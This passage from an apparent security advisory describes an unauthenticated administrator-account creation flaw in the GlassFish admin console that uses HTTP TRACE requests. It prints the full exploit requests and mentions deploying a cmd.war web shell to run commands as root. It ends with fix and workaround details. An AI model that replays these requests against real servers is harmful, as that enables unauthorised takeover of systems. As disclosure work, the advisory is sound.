and here

NGS found that it is possible to use this issue to create a GlassFish administrator account as an unauthenticated user.

=================

Technical Details

There is a known authentication bypass in Glassfish, by using a TRACE method rather than a GET method it is possible to access data meant only for Glassfish administrators.

The following requests were used to create a new Glassfish administrator:

TRACE /common/security/realms/manageUserNew.jsf?name=admin-realm&configName=server-config&bare=true HTTP/1.1

Host: 10.65.78.211:4848

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101Firefox/6.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-gb,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://10.65.78.211:4848/common/security/realms/manageUsers.jsf?name=admin-realm&configName=server-config&bare=true

Cookie: JSESSIONID=ada23501f36f1ec9148589e9a574

This then gave access to the create user page, however it is important that when the submit button is pressed the resultant POST request be converted to a TRACE request.

TRACE /common/security/realms/manageUserNew.jsf?propertyForm%3ApropertySheet%3ApropertSectionTextField%3AuserIdProp%3AUserId=NGSSecure&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnewPasswordProp%3ANewPassword=Password!!&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AconfirmPasswordProp%3AConfirmPassword=Password!!&propertyForm%3AhelpKey=ref-filerealmusernew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=-2309913764624097582%3A-

2546877703812727807&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.source=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&bare=true&propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.ajax=true HTTP/1.1

Faces-Request: partial/ajax

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: http://10.65.78.211:4848/common/security/realms/manageUserNew.jsf?name=admin-realm&configName=server-config&

Content-Length: 0

Pragma: no-cache

Cache-Control: no-cache

This created a user called NGSSecure with a password of Password!!

NGS then logged on to the Glassfish administration console using this newly created user. Once logged on as this user it was possible to upload and deploy a website, NGS deployed cmd.war which allowed the user to run commands under the context of the GlassFish server which is root by default.

===============

Fix Information

This issue has been fixed in GlassFish 3.1, a workaround also exists which is to disable the TRACE method on the administrator consoles web port
